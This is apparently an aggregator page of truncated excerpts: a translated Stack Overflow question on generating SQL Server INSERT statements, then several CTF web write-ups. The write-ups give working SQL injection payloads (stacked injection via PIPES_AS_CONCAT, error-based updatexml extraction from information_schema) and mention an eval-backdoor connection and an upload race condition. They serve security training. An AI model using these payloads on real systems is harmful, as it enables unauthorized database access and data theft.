easysql

为SQL Server表自动生成INSERT语句的最佳方法是什么?

╄→尐↘猪︶ㄣ 提交于 2020-08-04 19:55:10
问题: We are writing a new application, and while testing, we will need a bunch of dummy data. 我们正在编写一个新的应用程序,并且在测试时,我们将需要一堆虚拟数据。 I've added that data by using MS Access to dump excel files into the relevant tables. 我通过使用MS Access将excel文件转储到相关表中来添加该数据。 Every so often, we want to "refresh" the relevant tables, which means dropping them all, re-creating them, and running a saved MS Access append query. 每隔一段时间,我们要“刷新”相关表,这意味着将它们全部删除,重新创建它们并运行保存的MS Access附加查询。 The first part (dropping & re-creating) is an easy sql script, but the last part makes me cringe. 第一部分(删除和重新创建)是一个简单的sql脚本,但最后一部分让我感到有些畏缩。 I

SycSec成都信息工程大学2019CTF-前五道WEB题writeup

南笙酒味 提交于 2020-05-02 14:35:31
一、WEB (1)一起来撸猫 flag藏在标签的注释内 <!--这是注释--> (2)你看见过我的菜刀么 eval漏洞 利用蚁剑连接 连接密码就是要post传的参数 连接成功后在网站根目录发现了flag (3)BurpSuiiiiiit!!! 附件下载地址:链接:https://share.weiyun.com/5WD42Vt 密码:zp5sy9 备用链接:http://geek.sycsec.com:44444/static/file/Burp.zip 下载后发现压缩包内是一个Extender.jar文件 利用BurpSuit的extender模块导入这个jar文件 发现flag (4)性感潇文清,在线算卦:动作快点才能算到好卦。 F12发现关键信息 利用条件竞争解题 <!-- $savepath = "uploads/" . sha1 ( $_SERVER ['REMOTE_ADDR']) . "/" ; if (! is_dir ( $savepath )) { $oldmask = umask (0 ); mkdir ( $savepath ); umask ( $oldmask ); } if ((@ $_GET ['u']) && (@ $_GET ['p' ])) { $content = '***************' ; file_put_contents (

[SUCTF 2019]EasySQL

浪子不回头ぞ 提交于 2020-05-02 14:34:51
[SUCTF 2019]EasySQL easy_sql github 打开靶机,是这样的界面 直接用字典 fuzz 看一下过滤了哪些字符,如图 这个和强网杯相似,都是堆叠注入,在公开的源码中可以看到,传入的 query 长度不超过 40 关键的查询代码是 select $post['query']||flag from Flag 输入 1 或 0 查询结果如图,要想办法让 || 不是逻辑或 官方给的 payload 是 1;set sql_mode=PIPES_AS_CONCAT;select 1 拼接一下就是 select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag 关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 "或" 运算符 关于 sql_mode 更多可以查看这个链接 : MySQL sql_mode 说明 还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1 和 select flag from flag 的结果拼接在一起 关于非预期解 : *,1 拼接一下,不难理解 : select *,1|

[RCTF2015]EasySQL

冷暖自知 提交于 2020-05-02 13:59:17
[RCTF2015]EasySQL EasySQL github 打开靶机,是如下界面 到注册页面,试了一下, username 和 email 处有过滤,直接 fuzz 一下哪些字符被禁了 注册成功之后,有一个修改密码的功能,这里的考点应该就是二次注入 它在存入数据库时进行了特殊字符的处理,但是在修改密码这里,从数据库中读取出来时,没有对数据处理 注册用户名 'sss"\ ,在修改密码处的有个报错的回显 可以猜出来 sql 语句应该是类似于这样子的 select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427e' username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))# 经过测试,flag 不在 flag 表中 username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where